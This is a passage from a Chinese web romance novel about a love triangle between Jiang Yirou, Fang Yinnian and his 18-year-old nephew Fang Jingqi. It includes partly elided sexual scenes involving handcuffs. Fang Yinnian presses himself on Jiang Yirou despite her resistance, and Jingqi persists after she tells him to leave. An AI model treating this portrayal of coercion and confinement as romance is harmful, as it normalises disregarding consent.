姜以柔吓了一跳,睁开眼睛看去,方镜麒正侧着脑袋死死盯着她,那双狭长幽黑的凤眸里燃着熊熊的□□,仿佛是只知道追逐本能的野兽。 而方镜麒眼里的欲望,是她亲自点燃的。 方镜麒一边紧紧盯着她,一边咬着牙挣动手腕。手铐被他扯得哗啦作响,那动静仿佛真的要硬生生扯断金属制的手铐。 方镜麒凤眸猩红,已经全然失去了理智,哪怕手腕被磨出了鲜血,也毫不在乎。 可惜的是,手铐不是那么好挣脱的,他的努力只是徒劳。 姜以柔玩味地欣赏着方镜麒的挣扎,潋滟的眸中全是狡黠的笑意。 还好她有先见之明,否则,按照方大少这野性难驯的火爆性格,再加上他十八岁的体力……她不知道会多狼狈。 方隐年和谢凛也就算了,她可不想在方镜麒面前也那么丢脸。 方镜麒见挣脱不开,只觉得火气全堵在胸口,上不去下不来,他脸色有些难看,深呼吸几次,尽量平静地说道:“姜以柔,你放开我吧,我保证不乱来。” 姜以柔单手支颐侧躺在床上,笑着问道:“你觉得我信不信?” 方镜麒咬了咬牙,像是没招了,泄气地垂下眼眸,浓密的睫羽微闪,竟显出几分可怜:“姜以柔,我难受,你帮帮我行吗?” 说着,方镜麒微微挺了挺胯,示意她看向自己急欲纾解的欲望。 姜以柔顺势看去,顿时玩味地挑了挑眉梢。 方镜麒今天穿了条宽松的深灰色运动裤,此时那裤子……,充分显示出十八岁的大少爷那雄厚的本钱。 姜以柔轻笑着调侃道:“还真是个小初男。” 没有一点儿定力。 方镜麒听出了她话语中的玩味,立刻不甘地咬了咬牙,他死死盯着姜以柔,沉声道:“你现在放开我,我肯定好好表现!” 方镜麒确实年轻,他懊恼于刚才的没出息,已经打定主意要挽回面子。 他必须让姜以柔知道他的厉害! 可惜,姜以柔暂时不会给他这个机会了。 姜以柔笑着摸了摸他的脸颊,温声低语道:“看在你刚才还算卖力的份儿上,给你点儿奖励……” 说着,姜以柔随手扯下他的……这一看之下,饶是姜以柔也忍不住惊讶地挑了挑眉。 …… 姜以柔笑了笑,懒洋洋地抬脚踩了上去,刻意用力碾了碾。 方镜麒立刻扬起下颌,喉间溢出难耐的喘息。 姜以柔漫不经心地动作着,好整以暇地打量着方大少爷难得的狼狈,他沉溺于欲海中,俊美的脸泛起隐忍的薄红,连那双素来凌厉的凤眸都变得湿漉漉的。 姜以柔一边看着他,一边不由得思绪飘远—— 都过了这么长时间了,方隐年应该查到她身在哪里了吧? 几乎是在这个念头冒出来的同时,门口处传来“滴”的刷房卡的声音。 随着大门被猛地推开,方隐年那张阴沉至极的脸出现在他们面前。 第118章 一门之隔的房间内外, 是如同隔了一道天堑般的冰火两重天。 房间里的姜以柔和方镜麒交缠在同一张床上,两个人衣衫不整,姿态暧昧, 气氛可以说是无比火热。 而不远处房门打开,方隐年携着冬日里凛冽的寒风肃然而立,他的脸色比冰雪更冷几分。 他定定地看着屋内的场景。 姜以柔跟方镜麒紧紧贴在一起, 她笑容妩媚, 娇美的面容泛着诱人的潮红,简直像是吸食人精血的妖精, 魅惑天成。这副模样,方隐年再熟悉不过了,这是姜以柔动情的表现。 而他的侄子更是不堪。 【请点→】 方镜麒的手脚都被箍在床柱上, 他的裤子……似乎即将爆发。 他呼吸粗重, 凤眸迷离,整个人都被欲望侵蚀。年轻的男孩在姜以柔面前毫无抵抗力,完全被玩弄于鼓掌中。 若不是方镜麒的手脚被缚住,面前的“战况”绝对更激烈百倍。 这幅场景, 刺激又香艳, 堪称活色生香。 这一幕,蓦地扯断了方隐年理智的弦。 方隐年握住门把的手不断绷紧,手背上迸起骇人的青筋, 那双凤眸中翻涌着滔天的怒意。 这时,一直沉溺于欲望的方镜麒终于回神, 他急喘两声, 艰难地转头望向门口的方隐年,眼神骤然冷了下来。 “方隐年,你他妈的……”方镜麒牙齿磨得咯咯作响, 猛地挣动了一下,腕上的手铐发出巨大的脆响。 方镜麒快气疯了,若不是手铐的束缚,绝对第一时间暴起打死方隐年。 这混蛋……总是坏他的好事!这都第几次了?! 方镜麒好不容易跟姜以柔有了突破性的进展,现在就差临门一脚,说不定他多磨一会儿,姜以柔就答应让他进去了…… 现在方隐年突然杀到,想也知道今天他是吃不到真正的甜头了。 方镜麒快气炸了! 然而,任凭方镜麒用几欲杀人的目光瞪着方隐年,对方却一无所觉。 方隐年视方镜麒如无物,只直勾勾地盯着姜以柔。他嗓音低哑,一字一句地问道:“你们……在做什么?” 早在方隐年打开房门的时候,姜以柔便将目光投向了他。 她面上没有丝毫“被捉奸”的慌张,一双潋滟的眸子中反而盈满了兴味,好整以暇地打量着方隐年难看的脸色。 然后,她缓缓勾唇,露出一个得意的笑容,仿佛方隐年的愤怒和痛苦,正是她胜利的勋章。 “如你所见,我们在做*。”姜以柔曼声说道。 方隐年僵在原地,脚下像是生了根。他死死盯着姜以柔,面色阴沉得如同数九寒冰,恨不得一口咬死她。 良久,他才哑声问道:“为什么?” 如果细听的话,便能发现他声音中不易察觉的那一丝颤抖。 姜以柔轻嗤一声,诱人的红唇中说出了最无情的话:“既然你把谢凛气走了,那就得赔我一个男人。” “正好……”姜以柔轻飘飘地睨向躺在床上无比情动的方镜麒,意味深长地笑了,“你侄子还不错。” 姜以柔慢悠悠地抬起手,轻轻地在方镜麒……弹了一下,…… 姜以柔挑了挑眉梢,故意挑衅地对方隐年说道:“不愧是年轻人,比你强多了……” 姜以柔虽然没有真的试过方镜麒,但她话里话外却极尽暧昧,很难不让人误会。 而她说的话,无疑是把方隐年的脸面往地上踩。 果然,方隐年的胸膛剧烈起伏着,面色阴沉得几乎滴出墨来,像是处于爆发的边缘。 姜以柔丝毫不慌,那只柔软纤细的手甚至环住了……,明明她在抚慰着身边年轻的男孩,可她的眼神却如丝般勾缠在另一个男人身上。 姜以柔手上动作不停,却笑吟吟地望着方隐年,与其说是勾引,不如说是……挑衅。 在她的手中,刚才还满脸不爽的方大少爷瞬间绷不住了。 他咬紧了牙关,努力控制住将要溢出唇缝的呻吟,可剧烈粗重的呼吸暴露了他的无措。 方镜麒有些难堪地涨红了脸。 哪怕他很想跟姜以柔亲近,但在方隐年面前被这样肆意玩弄……饶是任性恣意如方大少,也不由得有些不自在。 可很快,一浪高过一浪一浪的……蔓延开来。姜以柔的手像是有魔力一般,她的掌心是那样的柔滑,不轻不重地抚过时带给他强烈的快意。 明明漫不经心又毫无章法的动作,却偏偏让方镜麒毫无抵抗之力。 方镜麒的理智一秒钟崩盘,他凤眸微眯,带着些许沉醉的恍惚,甚至开始不自觉微微……主动将自己往姜以柔的掌心送。 方大少哪怕动弹不得,骨子也是个嚣张乖戾的狼崽子,一有机会就显出凌厉的进攻性。 大少爷刚才还有点儿尴尬呢,现在倒是适应良好,甚至开始主动迎合了。 姜以柔和方镜麒这边正“浓情蜜意”,哪怕当着方隐年的面也毫不收敛,可谓是极尽挑衅。 方隐年面无表情地看着他们,哪怕他面上依旧保持着高高在上的体面,可没人知道他的心里已经一片疮痍。 方隐年静静地凝视着姜以柔。 明明是最柔弱的美色,此时却成了伤人最深的刀,将他一颗心刺得鲜血淋漓。 他本以为自己可以将这朵最娇艳的玫瑰据为己有,再容不得任何人染指。然而,他可以对付那一个又一个前仆后继的男人,却被玫瑰本身的刺扎得狼狈不堪。 为什么…… 他明明可以给她一切,为什么就不能好好呆在他身边呢? 方隐年僵硬地迈开步伐,一步一步朝他们走去。 当他靠近的时候,方镜麒瞬间从迷离的快感中抽离,警惕地盯着他。 方镜麒喘了口粗气,低声提醒姜以柔:“快把我放开。” 然而,姜以柔却并不搭理他。她的手仍放在方镜麒的……上,却不自觉停止了动作。 姜以柔眼角微挑,安静地睨着方隐年。 真难得,方隐年竟然没有立刻发疯,还能保持表面上的镇定,然而他面色苍白,连嘴唇都失了血色。 那双素来高高在上的冷静凤眸,此刻眼尾泛红,甚至带着几分疯狂的湿意。 方隐年绝不像表面那般平静。 确定了这个事实后,姜以柔满意地勾了勾唇角。 她漫不经心地想道,现在的方隐年,应该比那天的谢凛更难受吧? 毕竟出现在她床上的,可是他亲侄子。 果然是风水轮流转啊。 想到谢凛,姜以柔神情微滞,原本不错的心情又沉了下来,望向方隐年的眼神更冷了几分。 “姜以柔……”方镜麒眼睁睁看着方隐年快步逼近,急得用力挣动手铐,可另外两个人没有一个搭理他。 转眼间,方隐年已经迅速逼到近前。 他靠近床边,一把攫住了姜以柔的手腕。然后,他阴沉着脸,用不容抗拒的力道将她的手从侄子身上扯了下来。 方大少就这样被直挺挺地晾在了一边。 姜以柔好整以暇地盯着他,懒洋洋地说道:“方总,你就不怕你侄子憋坏了呀?” 方隐年不说话,攥着她腕子的手控制不住地收紧,他一把将姜以柔按在床上,高大结实的身躯沉甸甸地压了下来,宛若一只失去理智的困兽。 方镜麒瞬间凤眸圆瞪,怒声喝道:“方隐年,你这个畜生,你想干嘛?!” 方镜麒奋力挣扎起来,急切地想要保护姜以柔不受伤害,可手铐不是凭人力能挣脱的,他的手腕脚腕被刮得流出鲜血,却也只是徒劳。 姜以柔被他禁锢在床上,就像是被野兽扼住了喉咙,毫无抵抗之力。 然而,她却不见丝毫惧意,甚至调笑着反问道:“方隐年,难不成你打算当着你侄子的面……跟我来出活椿宫?” “那也太为老不尊了吧,方总?”姜以柔嘴角带笑,可看向方隐年的眼神却很冷。 方隐年胸膛剧烈起伏着,眼尾被怒意逼得通红。 他一只手缓缓攀上姜以柔的脖颈,哑着嗓子低声问道:“姜以柔,你以为我不敢吗?” 说完,方隐年无视了方镜麒的怒吼,猛地俯身,狠狠吻住了那双让他又爱又恨的红唇。 第119章 【原版→】 方隐年如一头猛兽般骤然发难, 他滚烫炙热的身躯压下,将姜以柔完全禁锢在他的方寸之间,再无逃脱的可能。 他狠狠攫住那双诱人的红唇, 疯狂汲取属于她的甘甜。 就是这双红唇,总能吐出分外无情又冷酷的话,像把淬了毒的利刃, 插入他心脏中用力翻搅, 带来绵长而深刻的剧痛。 姜以柔总是这样,有恃无恐地将他的真心踩在脚底, 反复践踏。 方隐年一手掐着她的下颌,疯狂掠夺她口中的津液,两人的唇舌像是在打仗似的, 很快蔓延开浓烈的血腥气, 激烈得仿佛连空气都燃烧了。 姜以柔当然不会乖乖地任他掠夺,她嫌弃地紧皱着眉头,恶狠狠地一口咬下去,她明显感觉到方隐年痛得一颤, 纠缠的唇舌间瞬间蔓延开浓烈的血腥气。 她手脚并用地挣扎着, 指甲在方隐年的脸侧和脖颈上挠出好几道血痕,像是炸了毛的猫。 然而,即便是这样, 方隐年也没有打算放过她,他凶狠地吻着她, 激烈得像是打仗, 透着股近乎绝望的疯狂。 方隐年几乎有种跟她纠缠到天荒地老的架势,从未放开她半分,直到后来, 姜以柔被吻得头晕目眩,差点喘不过气来,也没了挣扎的力气,两人之间的较量才慢慢和缓下来。 姜以柔瘫软在床上,被吻得面泛潮红,美眸盈泪,方隐年这时才暂缓了亲吻的力度,转而轻轻啄吻她红肿的唇。 一时间,房间里静得只剩下他们俩粗重的喘息声。 方隐年微微抬眸,深深地凝视着她,那双狭长的凤眸中翻涌着激烈的情绪,有怒有恨,更有化不开的难过。 姜以柔默默地与他对视,哪怕她被亲得一脸媚色,可那双眼睛却是冷淡的。她盯着方隐年看了一会儿,良久,面无表情地移开了视线。 这已经算是无声的回答。 方隐年心脏抽痛,面上却强撑着没有表现出来,他腮侧微鼓,死死咬牙忍耐着。 这时,旁边传来一道阴恻恻的声音,打破了两人之间的对峙。 “方隐年,你他妈当我死了吗?”方镜麒仍旧“大”字型被缚在床上,神情阴鸷而狠厉。 他没有再进行徒劳的挣扎,只扭过头阴沉沉地盯着他们,年轻的男孩胸膛剧烈起伏着,似乎随时要爆炸。 此时此刻,他们三个人同时躺在一张床上,而他的小叔正压着他的心上人肆意亲吻—— 这世界上还有比这更荒唐的事吗? 方镜麒气得几乎要发疯,可最让他感到崩溃的,是他不争气的身体。 年轻气盛的男孩毫无自制力可言,他依旧……,甚至还会为姜以柔展露的媚意而蠢蠢欲动。 方镜麒又羞又怒,这一刻,他甚至想要唾弃自己是个畜生,竟然这种时候还胡思乱想。 方镜麒深吸一口气,努力压下那些乱七八糟的念头,他用力握紧了拳头,手铐碰撞出刺耳的金属声响。 “方隐年,你要是敢伤害她,我绝不会放过你!”方镜麒赤红着眼睛警告道。 闻言,方隐年和姜以柔同时转头望向他。 方隐年面无表情地看着自己的亲侄子,狭长的凤眸中没有丝毫温度,仿佛眼前的人并非他的血缘至亲。 方镜麒同样用仇恨地眼神瞪着他。 他们沉默地用眼神交锋,相似的凤眸昭示着他们之间亲密的血缘关系,可每一个人的眼神都冷到了骨子里,仿佛对方是生死之敌。 这一刻,面对自己仅剩的亲人,他们却恨不得想杀了对方。 姜以柔眼珠微转,视线在这对叔侄之间来回打量,看着他们那剑拔弩张的氛围,她唇角勾起一个得逞般愉悦的笑意。 她甚至还要再添一把火。 姜以柔伸出一只手,温柔地抚上方大少爷的侧脸,轻声喊道:“镜麒……” 她眸中含着水光,盈盈地望向方镜麒,仿佛带着欲说还休的情意。 方镜麒瞬间就忘了跟方隐年较劲,痴痴地陷进了她的温柔中。 方镜麒心脏狂跳,这一刻,他无比确定—— 姜以柔心里一定是有他的! 方镜麒喉结微滚,竟不自觉偏过头,用脸颊蹭了蹭她的掌心。 意外的很乖。 素来跋扈嚣张如恶犬般的方镜麒,彻彻底底地向姜以柔表示了他的臣服,甚至主动递上了自己的缰绳。 姜以柔挑眉打量着大少爷难得温顺的神情,还没来得及多欣赏一下,失重感猛地传来。 她不由得一声惊呼,下意识地抱紧了方隐年。 方隐年将她拦腰抱在怀中,姜以柔跟方镜麒的肢体接触便自然而然地断开。 方隐年最后眸光沉沉地盯了方镜麒一眼,抱着姜以柔一声不吭地离开了房间。 虽然他气头上的时候威胁说要当着方镜麒的面乱来,但实际上,他怎么可能舍得呢? 有一个谢凛已经让他如万蚁噬心般难受,他绝不会再给方镜麒机会。 方隐年阴沉着一张脸,抱着姜以柔便走出了房间,砰的一声反手关上了门,也将方镜麒的怒吼隔绝在了门外。 方隐年抱着人直接进了隔壁的房间,熟练地将她压在床上后,一把撕开了…… 方隐年的吻铺天盖地地落在她的脸侧和脖颈上,这一次他不再克制,近乎发狠地留下了属于他的印记。 方隐年贴着那散发着馨香的柔软肌肤,轻声说道:“姜以柔,我不是谢凛那个蠢货,不管你找多少男人,我都绝不会放过你。” 方隐年抬起头,深深地望进那双潋滟却无情的眼眸中,突兀地一笑,那笑容却含着刻骨的冷意。 “姜以柔,你想玩,那我就跟你玩到底。” 她可以试试,是她找男人的速度快,还是他解决人的速度快。 方隐年的凤眸中泛着赤红的疯狂,他…… 姜以柔一声闷哼,脸上仍带着抗拒,但很快,她就融化在了铺天盖地的……中。 方隐年将她翻了个身,贴着她的背将她按在了墙面上…… 姜以柔被冰凉的墙面刺激到,不自觉往后缩,可一后退却陷进方隐年炙热的怀抱中…… 她眼角渗出泪珠,红唇中溢出的轻吟都带着颤意,好不可怜。 她难耐地往前,……可面前是冰凉的墙面,她避无可避,反而被…… 当……时,身后的方隐年突然停下。 他附在她耳边,嗓音幽幽地问道:“你说……方镜麒能听到吗?” 姜以柔□□得失神,反应了好一会儿才想起,隔壁房间就是被缚住了手脚的方镜麒。 姜以柔急喘两声,嘴硬地回击道:“这么关心你侄子,怎么不把他叫来一起……啊!” 姜以柔话音未落,就被方隐年突然发狠的攻势弄得再也说不出一句完整的话。 她竭力忍耐着,最终还是忍不住哭叫着骂道:“方隐年,你这个混蛋……” 方隐年咬着她的耳朵,哑声说道:“我是混蛋。” “你要被混蛋*一辈子了。” 当姜以柔被方隐年硬生生送上……时,姜以柔双眸失焦…… 但最后,她却艰难地从牙缝里挤出一声微不可闻的轻吟: “……谢凛。” 然后,她便昏死了过去。 当从她口中听到“谢凛”的名字时,方隐年骤然一僵,整个人动弹不得。 他呼吸不稳,死死盯着姜以柔不省人事的潮红脸庞,脸色阴沉得仿佛暴雨的前兆。 方隐年在想,姜以柔最后关头喊出谢凛的名字,究竟是发自内心的渴望,还是像往常那般故意气他。 不管是哪个答案,都足以让方隐年情绪失控,恶念横生。 然而,他看着昏死过去的姜以柔,只能恨恨地咬上她的脖颈,凶狠得像是恨不得将她吞进肚子里。 即便是处于无知无觉的状态,姜以柔也下意识地蹙起眉心,嘴里发出一声委屈的轻哼。 方隐年妥协般松了嘴,又在那深刻的吻痕上轻轻舔了舔。 他将昏睡过去的姜以柔轻轻安置在床上,居高临下地凝视着她恬静的睡颜。 只有在这种时候,她才不会说出那些伤人的话,乖巧得仿佛……完全属于他。 就在这时,房门突然被人一脚踹开,门板撞在墙上发出震耳欲聋的声响。 方隐年瞬间警惕起来,反手用被子将姜以柔的身体盖住,眯着眸子朝门口看去。 方镜麒浑身大汗淋漓,手腕和脚腕上被磨得鲜血淋漓,像是浴血闯入的修罗。 他死死盯着屋内的情景,扯开一个狰狞凶戾的笑容。 他咬着牙,一字一句恨声道: “方、隐、年!” 第120章 方镜麒也不知道用什么方法解开了手脚上的手铐, 单从他手脚处被鲜血浸透的衣服来看,应该费了不少的力气。 方镜麒的右臂前几天刚拆掉石膏,经过这一场折腾, 又在隐隐作痛。 但他根本没把这点伤势放在心上,他用力攥紧了拳头,在看到床上的情形后目眦欲裂, 脸色狰狞得可怕。 方镜麒像头发怒的狮子般猛地冲上前, 一拳狠狠砸到了方隐年的脸上。 方隐年被打得猛然偏过头,嘴角瞬间溢出血迹。 方镜麒紧跟着一把掐住方隐年的脖颈, 他手背上青筋暴起,那力道简直像是真的动了杀心。他一双血红的凤眼死死瞪着方隐年,愤怒地嘶吼道:“你这个畜生, 你敢强迫她……” 说着, 方镜麒便举高拳头,毫不犹豫地又要一拳挥下。 然而,方隐年一把挡住了他的拳头,又扣住他掐住自己脖颈的那只手, 方隐年肌肉绷紧, 阴沉着脸和他对峙。 “强迫?”方隐年冷冷地盯着他,突兀地扯出一个嘲讽的笑意,他一字一顿地说道, “我们早就在一起了。” 方隐年受够了躲藏和忍耐,他只想让所有人都知道他跟姜以柔的关系, 并解决掉每一个试图勾引她的人。 谢凛是第一个, 现在,也该让他愚蠢的侄子认清现实了。 果然,他话音刚落, 方镜麒便浑身僵硬地怔住了。 他只知道方隐年也喜欢姜以柔,但从不知道,他们已经…… 所以,姜以柔不止跟谢凛在一起,还同时跟他小叔…… 这件事对方镜麒来说宛如晴天霹雳,让他浑浑噩噩地呆住了。 方隐年借机一把推开这个只会用蛮力的臭小子,阴着脸擦了擦嘴角的鲜血。 方镜麒向后仰倒,跌坐在床上,久久回不过神。 这时,昏睡过去的姜以柔终于被吵醒了。 她揉了揉眼睛,一睁眼就看到了怔怔发呆的方镜麒。 姜以柔很是震惊地问道:“你怎么来了?” 她可是把方镜麒用手铐束缚得死死的,总不能是方隐年主动放开了他吧? 她揽着被子坐起身,立刻便发现了他手脚上的血迹时,她同样愣住了,当反应过来发生了什么时,不敢置信地瞪大了眼睛。 “你……你不会是自己挣开的吧?” 姜以柔实在没想到,这傻小子能如此莽撞,一点儿都不爱惜自己的身体。 然而,方镜麒却仿佛没听到她的关心,只眼眶通红地盯着她,哑声问道:“姜以柔……你还要我吗?” 姜以柔不知道大少爷为什么突然问这种问题,不过,当看到旁边面色冰冷的方隐年后,她就大概懂了。 姜以柔看着愤怒中带着点儿委屈的神情,不由得无奈一笑:“当然。” 吃都吃了,哪有不要的道理? 再说了,方大少爷……硬件和悟性都挺不错的。 方镜麒立刻眼睛一亮,转瞬间便把跟方隐年的恩怨抛到了脑后。 他立刻扑上前,紧紧地把姜以柔揽在了怀中,那力道像是恶龙在牢牢守护属于自己的财宝。 只要有姜以柔这句话,他就绝不会放手! 他才不管姜以柔有几个男人,只要他也能做她的男人就好! 当小三和当小四也没什么不同,方大少爷接受良好。 姜以柔抬手摸了摸他刺刺的短发,不由得心生感慨—— 但凡谢凛和方隐年有大少爷的一半听话好哄,她也不至于如此烦心。 一想到方隐年,姜以柔不由得朝旁边看去。 出乎她意料的是,方隐年就这么冷眼看着她跟方镜麒拥抱,既没有出手阻止,甚至脸上也没什么表情。 他看起来非常平静,但这种平静却更像是一汪深不见底的寒潭,暗涌着难以揣度的危险。 姜以柔下意识地皱了皱眉,望向他的眼神里充满了探究。 总感觉方隐年这混蛋又要搞事情。 * 那天,从酒店里回到家后,姜以柔非常敏锐地察觉到,一切果然变得不一样了。 首先就是方大少爷像是失踪了似的,彻底音讯全无,姜以柔根本联系不上他。 而方镜麒正是对她最黏糊的时候,自然不可能主动消失,那么大概率就是……又被他的小叔制裁了。 姜以柔差点气笑了。 难怪那天方隐年没再阻止她跟方镜麒拥抱呢,他大概从那一刻开始,就下定决心再也不让他们有见面的可能了吧? 方镜麒该不会真的被强行送出国吧…… 姜以柔纵然担心,却也做不了什么,因为方隐年对她的态度也隐隐有所变化。 之前他们因为谢凛的事而冷战时,如果姜以柔表现出明显的抗拒,那么方隐年多少还有所顾忌,会保持一定的距离感,愿意徐徐图之地融化她。 但现在,大概是被她主动找方镜麒的事刺激到了,方隐年开始步步紧逼,对她盯得非常紧。 事实证明,一旦方隐年抛却底线,做些什么强取豪夺的事情,姜以柔很难对抗。 好在方隐年还算有理智,没有疯到无可挽回的地步。 就这样过了三天,在姜以柔越发暴躁的时候,姜父姜母突然找到她,迟疑地说道:“小柔,我们打算回老家一趟,给你爷奶上坟去,你要不要跟我们一块去?” 姜以柔愣了愣,疑惑地问道:“怎么突然就要回去上坟?” “老家来了电话,说你爷爷奶奶的坟不知道被啥动物撞坏了一点,我们得回去修修。” 姜父抹了抹眼角的泪珠,感慨地说道:“你爷奶当初可疼你了,后来你一直没回来,他们天天担心……” 姜以柔其实对所谓的爷爷奶奶并没有感情,不过想到回老家可以暂时摆脱方隐年,她立刻就答应了。 于是,她特意给姜渔请了假,一家四口就准备回北方老家。 出发前,姜以柔沉思片刻,将从便宜父母口中得来的老家地址发给了一个人—— 谢凛。 姜以柔有些出神,不知道在想什么,良久,发出一声微不可闻的叹息。 出发去机场时,姜以柔一直有些隐忧,很怕方隐年突然杀出来,阻止她离开。 如果方隐年真的疯到敢禁锢她的人身自由…… 姜以柔眯了眯眼睛,神色有些发冷。 不过,一直到她们快要登机的时候,一切都很顺利。 就在姜以柔以为不会发生什么意外的时候,有人突然闯入了她的视线。 “方镜麒?!”姜以柔惊讶地看着他。 许久不见,大少爷消瘦了许多。他眼下带着点青黑,似乎没有休息好,衣衫也有些凌乱,像是一路狂奔过来的。 方镜麒看到她后眼睛一亮,立刻冲上前紧紧抱住了她,那力道像是恨不得将人融进骨血中,一解这些日子的思念。 旁边,姜父姜母以及姜渔面面相觑,都感觉一阵尴尬。他们不约而同地移开视线,假装看不见两人之间的亲密。 姜母幽幽地叹了口气,面带愁容。 唉,这么年轻的男孩……能靠谱吗?! 还有小谢可咋办呢…… 姜以柔可不知道家人心里的惊涛骇浪,她仔细打量着方镜麒,低声问道:“你怎么来了?” 闻言,方镜麒冷笑一声,说道:“方隐年那狗东西想把我送出国,还不让我出门。” “那你是怎么出来的?”姜以柔疑惑地看着他。 方镜麒挑了挑眉梢,飞扬的眉眼中带着嚣张的得意,轻哼道:“我把他弄晕了,然后偷跑出来的。” 姜以柔:“……” 姜以柔震惊地瞪大了眼睛,不敢置信地问道:“你怎么把他弄晕的?” “我自然有我的方法。”方镜麒却没有多说。 姜以柔这时才意识到,或许不是方隐年不来阻止她,而是他此时人事不知,来不及阻止…… 片刻的呆愣后,姜以柔实在没忍住笑出了声,感觉十分解气。 “所以,你现在打算做什么?”姜以柔笑眯眯地看着方镜麒,出声询问道。 方镜麒理所当然地说道:“当然是你们去哪儿,我就去哪儿了!” 姜以柔当然不同意,但是在方镜麒的死缠烂打之下,最后他们还是无奈地带上了他。 直到飞机升入云层中,姜以柔才确信,她真的能暂时摆脱方隐年那无处不在的控制了。 姜以柔垂眸看着下方越来越模糊的城市,神情略显怔然,不知道在想些什么。 就在这时,她搭在腿上的手突然一紧,另一只炙热宽厚的手紧紧包裹住了她的,姜以柔转头看过去,正对上方镜麒灼灼的目光。 方大少爷紧紧盯着她,眼神亮晶晶的,满心满眼都是见到她的开心,同时,那双浓墨重彩的凤眸中充斥着毫不掩饰的渴望,像只极富进攻性的狼崽子。 姜以柔试着挣了一下,根本挣不开那铁钳般的宽大手掌,最后只能选择眼不见心不烦地移开视线。 姜以柔无声地叹了口气,突然有点怀疑自己当初的决定是否正确。 其实她找上方镜麒,更多的是为了气方隐年。 但方大少远比她想象中还要难缠,而且他刚从她这儿尝到了甜头…… 她真的能招架得住这精力旺盛的男高中生吗…… 一想到此,姜以柔就忍不住有些头疼。 几个小时后,飞机降落。 他们紧接着转高铁、转大巴车……又折腾了许久,才终于抵达那座北方的小山村。 一抵达目的地,姜以柔就被这漫天的雪景惊到了,S市从未有过这么大且这么厚的雪,难怪出发前,姜父姜母三令五申让她带上最厚的衣服。 姜渔从出生起,就从未回过所谓的故乡,此时她呆呆地欣赏着面前的雪景,面上忍不住浮现出激动之色,还有种玩雪的跃跃欲试。 姜父姜母则激动得差点老泪纵横,但他们的眼泪刚涌出眼眶,就有点结冰的趋势,两人赶紧把情绪收了起来。 在场恐怕只有方镜麒最为平静。 他漫不经心地扫了眼周围仿若上个世纪的陈旧建筑物,很是嫌弃地皱了皱眉头,但并未多说什么。 他们赶了很久的路,都累得不轻。幸亏姜父姜母提前联系过老家的亲戚,让他们帮忙收拾了老屋,当晚,他们烧起热炕,直接住了进去。 姜以柔很不习惯这种条件,但她太累了,很快就昏昏沉沉地睡了过去。 半夜,姜以柔是被舔醒的,她脖颈处传来黏黏糊糊的触感,还有灼热的呼吸喷洒,激起她的一阵战栗。 当她迷迷糊糊地睁开眼时,只看到有个高大的黑影正伏在她身上。 姜以柔吓得差点惊叫出声,却被一只大手紧紧捂住了嘴巴。 紧接着,那黑影凑到她耳边低声说道:“是我。” 认出方镜麒的声音后,姜以柔立刻松了口气,但随即便涌上一股邪火。 这叔侄俩还真是一脉相承,总能给她带来惊吓! 姜以柔气得狠狠瞪着身上的人影,但夜里太黑,方镜麒大概没接收到她不满的眼神,依旧覆在她身上,黏黏糊糊地吻着她的脖颈。 【请点→】 很快,姜以柔就感觉被什么东西抵住了。 方镜麒轻轻蹭着她,哑声说道:“姜以柔,我想要……” 姜以柔气不打一处来,却不敢大声说话,只压低声音警告道:“滚出去!” 她的便宜父母和女儿就睡在隔壁,而且老房子隔音不好,一丁点儿动静都很容易惊醒他们。 然而,混不吝的方大少完全将她的警告当成了耳旁风,结实火热的身躯依旧牢牢压在她身上。 方镜麒贴着她的耳朵,有些委屈地说道:“我都快憋死了……” 自从那天,姜以柔给他尝了点儿甜头之后,方大少午夜梦回间惦记的全是姜以柔。 他猴急地……动作里全是渴望。可惜大少爷只有一股蛮力,却根本找不对地方…… 姜以柔又困又累,实在不知道为什么方镜麒在赶了一整天的路之后,还能这么有精力。 她怎么都推不开一身力气的高中生,最后只能无奈选择妥协。 姜以柔伸出手,……轻轻揉了两下。 方镜麒一声轻哼,立刻舒服地眯起了眼睛。 姜以柔拉下他的裤子,用手裹住…… 耳边的呼吸声骤然粗重起来,方镜麒迎合着她的动作……动作中满是急切。 方镜麒从未想过,一个人的手可以这么柔软,带给他无上美妙的感觉,他轻轻喘着气,凤眸中满是迷离的沉溺。 姜以柔一开始还算有耐心,……但不知过了多久…… 姜以柔无奈又烦躁,因为她掌心被摩擦得有些痛,手腕也很酸,很快她就懒得动作了。 方镜麒也不在意,主动抓着她的手腕,自给自足。 不知过了多久,姜以柔困得又差点睡过去,才感觉手上一热,多了些黏黏糊糊的触感。 姜以柔悄悄松了口气——总算是结束了。 男高中生的精力……真是太可怕了。 姜以柔越来越后悔招惹上这个狼崽子了。 姜以柔烦躁地推开他,警告道:“不许再烦我!” 然后便转身睡了过去。 方镜麒心情大好,仔仔细细地帮她擦干净手心,然后便将她圈在怀中,像是恶龙在守护自己最珍贵的宝物。 等到天快亮的时候,方镜麒偷偷起身,回了自己的房间,省得被姜父姜母发现端倪。 第二天一早,姜父姜母便带着他们一起上山,给姜以柔逝去的爷爷奶奶上坟,也让姜渔来认一下太爷爷太奶奶。 村里的老人去世后都会埋在当地一座很有名的山上。 这座山有四五百米高,本就有些陡峭,如今又蒙了层厚厚的积雪,便更加难走。 姜父姜母作为年龄最大的两位老人,竟然是爬得最快的。他们不愧是在这里长大的,爬上这座山堪称熟门熟路,健步如飞,把其他几人都甩在了后头。 姜以柔这么爱美的人,现在却把自己裹得只剩下一双眼睛。她皱着眉头往上爬,第无数次后悔跑来这个破地方。 有一段路特别陡,方镜麒腿长,几步跨上去后,反身朝姜以柔伸出手。 姜以柔很自然地抓住他的手,任凭他猛地发力,将她整个人拉了上去。 方镜麒扶着姜以柔站稳,转头看到姜渔也在费劲地往上爬,便朝她也伸出了手。 姜渔没多想,抬手便要去抓他。 结果下一秒,方镜麒猛地收回了手。 他四处张望一下,从地上捡了个结实的木棍,自己抓着一头,把另一头递到了姜渔的面前。 姜渔一时间愣住了,盯着这根木棍不知道该做些什么。 姜以柔见状也皱眉问道:“你这是做什么?” 方镜麒十分理直气壮地说道:“我是你的人,怎么能随便碰别的女人呢?!” 大少爷一副理所当然的模样,誓死捍卫自己的男德。 姜以柔、姜渔:“……” 姜以柔无语地瞪了他一眼,“你有毛病啊?赶紧把小渔拉上来!” 姜渔却翻了个大大的白眼,嫌弃地说道:“我不用他扶!” 说着,姜渔手脚并用,一口气爬了上去。 经过方镜麒身边时,姜渔连个眼神都懒得给他。 不想跟傻子有交流,怕被拉低智商。 “小渔,我们走。”姜以柔拉上便宜女儿,两人相互搀扶着走在山路上。 方镜麒瞪着她们的背影,面上有些委屈和不忿,但还是亦步亦趋地跟上前。 